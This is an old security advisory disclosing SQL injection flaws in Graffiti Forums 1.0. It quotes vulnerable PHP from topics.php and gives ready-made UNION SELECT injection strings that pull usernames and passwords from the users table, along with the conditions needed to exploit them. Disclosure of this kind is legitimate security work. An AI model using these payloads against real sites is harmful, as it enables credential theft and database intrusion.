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[N]eo [S]ecurity [T]eam [NST] - Advisory #24 - 08/07/06=0D
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Program: Graffiti Forums=0D
Homepage: http://www.bluedojo.com/=0D 
Vulnerable Versions: 1.0.=0D
Risk: High!=0D
Impact: Critical Risk=0D
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-==Graffiti Forums v1.0 SQL Injection Vulnerabilities==-=0D
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- Description=0D
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 This forum uses PHP, MySQL, and Java and is very easy to install. It lets people draw pictures to a graffiti "wall" instead =0D
of posting text messages as in traditional forums.=0D
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- Tested=0D
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localhost=0D
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- Explotation=0D
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Vulnerable code:=0D
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==[ topics.php 8-11 ]===========================0D
[...]=0D
$sql = "SELECT forum FROM graffiti_forums WHERE id=$f";=0D
$result = mysql_query($sql);=0D
$sql_row = mysql_fetch_row($result);=0D
$forum_title = $sql_row[0];=0D
[...]=0D
==[ end topics.php ]===========================0D
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How we can see there's no protection for the using of simple quotes in the sql query. Also we have to say that the script =0D
doesn't work with register_globals off.=0D
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In this way, we can put in the $f variable something like that =0D
2 UNION SELECT password as forum FROM graffiti_users=0D
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So the sql query looks like this:=0D
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SELECT forum FROM graffiti_forums WHERE id=2 UNION SELECT password as forum FROM graffiti_users=0D
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Here, 2 is a valid forum id. Using some ORDER BY clauses you can get differents things... check it out.=0D
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==[ topics.php 21-32 ]===========================0D
[...]=0D
if (!$option){=0D
	$sql = "SELECT id, topic FROM graffiti_topics WHERE id_forum=" . $f;=0D
	if ($result = mysql_query($sql)){=0D
		echo("");=0D
		while ($sql_row = mysql_fetch_row($result)){=0D
			echo("");=0D
			echo("
");=0D
			$id = $sql_row[0];=0D
			$topic = $sql_row[1];=0D
			echo("");=0D
			echo("  $topic");=0D
			echo("");=0D
[...]=0D
==[ end topics.php ]===========================0D
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In the SQL query of this code we can see the same bug. The explotation is very similar that the other:=0D
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topics.php?f=2 UNION SELECT password as topic, username as id FROM graffiti_users=0D
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The final sql query looks like this:=0D
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SELECT forum FROM graffiti_forums WHERE id=2 UNION SELECT password as topic, username as id FROM graffiti_users=0D
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Here, 2 is a valid forum id. Another time you can play with some ORDER BY or GROUP BY clauses.=0D
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Practically all the sql querys of this script are vulnerable to SQL Injections, so i'm not going to keep searching bugs on a =0D
bugs cave.=0D
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Attention: the magic_quotes_gpc php flag has to be off (no filtering for slashes, simple quotes and double quotes). Also =0D
remember that the script doesn't work without register_globals Off.=0D
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- How to fix it? More information?=0D
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Visit our forum to know how to fix it or to get more information.=0D
http://www.neosecurityteam.net/foro/=0D 
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- References=0D
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http://www.neosecurityteam.net/index.php?action=advisories&id=24=0D 
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- Credits=0D
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Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com=0D
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